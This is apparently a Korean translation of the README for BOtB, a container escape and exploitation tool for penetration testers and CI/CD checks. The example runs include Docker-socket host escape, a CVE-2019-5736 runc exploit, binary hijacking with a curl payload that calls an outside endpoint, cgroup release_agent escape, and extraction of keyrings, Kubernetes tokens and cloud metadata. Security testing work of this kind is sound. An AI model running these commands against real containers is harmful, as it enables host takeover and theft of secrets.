
침투 테스터와 엔지니어를 위한 컨테이너 분석 및 익스플로잇 도구.
BOtB는 침투 테스터와 엔지니어가 사용할 수 있도록 설계된 컨테이너 분석 및 익스플로잇 도구이며, 일반적인 CI/CD 기술과도 호환됩니다.
BOtB는 다음과 같은 작업을 수행할 수 있는 CLI 도구입니다:
바이너리 설치 지침은 Releases Page를 방문하세요.
go get github.com/brompwnie/botb
Go를 통해 BOtB 빌드:
go build
Make를 통해 BOtB 빌드:
make
BOtB는 대상 플랫폼용 바이너리로 컴파일될 수 있으며 다음과 같은 사용법을 지원합니다.
./botb-linux-amd64 -h
-aggr string
RuncPWN 익스플로잇 시도 (기본값 "nil")
-always-succeed
BOtB의 종료 코드를 항상 0으로 설정
-autopwn
노출된 소켓 자동 익스플로잇 시도
-cicd
자동 익스플로잇 시도하지만 TTY로 드롭하지 않고, 성공 시 종료 코드 1 반환, 실패 시 0 반환
-config string
제공된 yaml 파일에서 구성 로드 (기본값 "nil")
-endpoints string
테스트에 사용할 엔드포인트가 포함된 텍스트 파일 제공 (기본값 "nil")
-find-docker
Dockerd 찾기 시도
-find-http
HTTP를 사용할 수 있는 UNIX Domain Socket 검색
-find-sockets
사용 가능한 UNIX Domain Socket 검색
-hijack string
호스트의 바이너리 하이재킹 시도 (기본값 "nil")
-k8secrets
K8's Secrets 식별 및 확인
-keyMax int
최대 키 ID 범위 (기본값 100000000), 최대 시스템 값은 999999999 (기본값 100000000)
-keyMin int
최소 키 ID 범위 (기본값 1) (기본값 1)
-metadata
메타데이터 서비스 찾기 시도
-path string
UNIX Domain Socket 검색 시작 경로 (기본값 "/")
-pwn-privileged string
--privilege CGROUP release_agent 익스플로잇을 시도할 명령 페이로드 제공 (기본값 "nil")
-pwnKeyctl
keyctl syscall을 남용하여 Linux Kernel keyrings에서 데이터 추출
-recon
컨테이너 ENV 정찰 수행
-region string
AWS 리전 제공 (예: eu-west-2) (기본값 "nil")
-rev-dns string
서브넷에 대해 역방향 DNS 조회 수행. 매개변수는 CIDR 표기법이어야 함 (예: -rev-dns 192.168.0.0/24) (기본값 "nil")
-s3bucket string
S3 푸시를 위한 버킷 이름 제공 (기본값 "nil")
-s3push string
S3로 파일 푸시 (예: https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME로 푸시하는 전체 명령: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME) (기본값 "nil")
-scrape-gcp
GCP 메타데이터 서비스 스크래핑 시도
-verbose
자세한 출력
-wordlist string
단어 목록 제공 (기본값 "nil")
BOtB는 config 매개변수를 통해 YAML 파일에서 설정을 로드하도록 지시할 수도 있습니다.
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
다음 사용 예제는 기본적으로 이상이 감지되면 종료 코드 > 0을 반환합니다. 이는 "echo $?"로 마지막으로 실행된 명령의 종료 코드를 표시합니다.
원저자의 추가 정보: https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
"KeyId": 13738777,
"Valid": true,
"Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
"Type": "keyring",
"Uid": "0",
"Gid": "0",
"Perms": "3f1b0000",
"String_Content": "\ufffd\ufffd\ufffd\u000e",
"Byte_Content": "wP73Dg==",
"Comments": null,
"Subkeys": [
{
"KeyId": 251133632,
"Valid": true,
"Name": "brompwnie_secret",
"Type": "user",
"Uid": "0",
"Gid": "0",
"Perms": "3f010000",
"String_Content": "thetruthisialsoreallyliketrees",
"Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
"Comments": null,
"Subkeys": null,
"Output": ""
}
],
"Output": ""
}
[+] Finished
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
이 방법은 호스트에서 대화형 TTY로 탈출합니다.
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #
이 방법은 호스트에서 TTY로 탈출하지 않고 성공적인 컨테이너 탈출을 나타내기 위해 종료 코드 > 0을 반환합니다.
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished
#echo $?
1
이 익스플로잇이 작동하려면 대상 컨테이너에서 프로세스가 실행되어야 합니다.
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished
이는 Docker Exec 및 Kubetcl CP와 같은 외부 엔터티가 컨테이너 내에서 명령을 실행하는지 테스트하는 데 사용할 수 있습니다.
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1
[+] Currently hijacking: /bin
[+] Currently hijacking: /sbin
[+] Currently hijacking: /usr/bin
[+] Finished
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished
#echo $?
1
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished
#echo $?
1
기본적으로 BOtB는 "secret" 및 "password" 두 용어를 검색합니다.
./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV: foo=secretpassword
[+] Finished
#echo $?
1
단어 목록을 BOtB에 제공하여 특정 키워드를 검색할 수 있습니다.
#cat wordlist.txt
moo
# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished
# echo $?
0
BOtB는 기본적으로 두 개의 메타데이터 엔드포인트를 스캔합니다.
# ./bob_linux_amd64 -metadata=true
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished
# echo $?
0
BOtB에 스캔할 엔드포인트 목록을 제공할 수도 있습니다.
# cat endpoints.txt
https://heroku.com
# ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished
# echo $?
1
# ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished
# ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to: 169.254.169.254:80
[*] Output->
HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....
# ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished
# ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output
docker-desktop
이는 비차단 CI/CD 테스트에 유용합니다.
# ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0
예제 YAML 파일 cfg.yml
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets
위 YAML로 BOtB 실행
# ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished
BOtB는 종료 코드를 사용하여 테스트 통과 또는 실패를 결정하는 CI/CD 기술과 함께 사용할 수 있습니다. 아래는 두 개의 BOtB 테스트를 실행하고 두 테스트의 종료 코드를 사용하여 셸 스크립트의 종료를 설정하는 셸 스크립트입니다. 두 테스트 중 하나라도 종료 코드 > 0을 반환하면 셸 스크립트를 실행하는 테스트가 실패합니다.
#!/bin/sh
exitCode=0
echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?
echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?
(exit $exitCode)
위 스크립트는 BOtB를 CI/CD 기술과 함께 사용하는 유일한 방법은 아니며, 셸 스크립트로 래핑하지 않고 단독으로 사용할 수도 있습니다. 예제 YML 구성은 다음과 같습니다.
version: 2
cicd:
runATest: ./bob_linux_amd64 -autopwn -cicd=true
다음은 Heroku CI와 함께 사용할 수 있는 예제 구성입니다.
{
"environments": {
"test": {
"scripts": {
"test": "./bob_linux_amd64 -autopwn -cicd=true"
}
}
}
}
다음은 래퍼 셸 스크립트를 사용하는 Heroku CI 예제 구성입니다.
{
"environments": {
"test": {
"scripts": {
"test": "./bin/testSocksAndEnv.sh"
}
}
}
}
버그가 있으면 이슈를 제출해 주세요. 개선할 점은 많지만, BOtB에 추가되었으면 하는 기능이 있다면 이슈를 제출해 주세요.
이 도구는 커뮤니티의 다른 분들의 기여 없이는 불가능했을 것입니다. 아래는 도움이 된 리소스 목록입니다.
BOtB는 다음 행사에서 발표될 예정입니다.
BOtB는 Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0)에 따라 라이선스가 부여됩니다.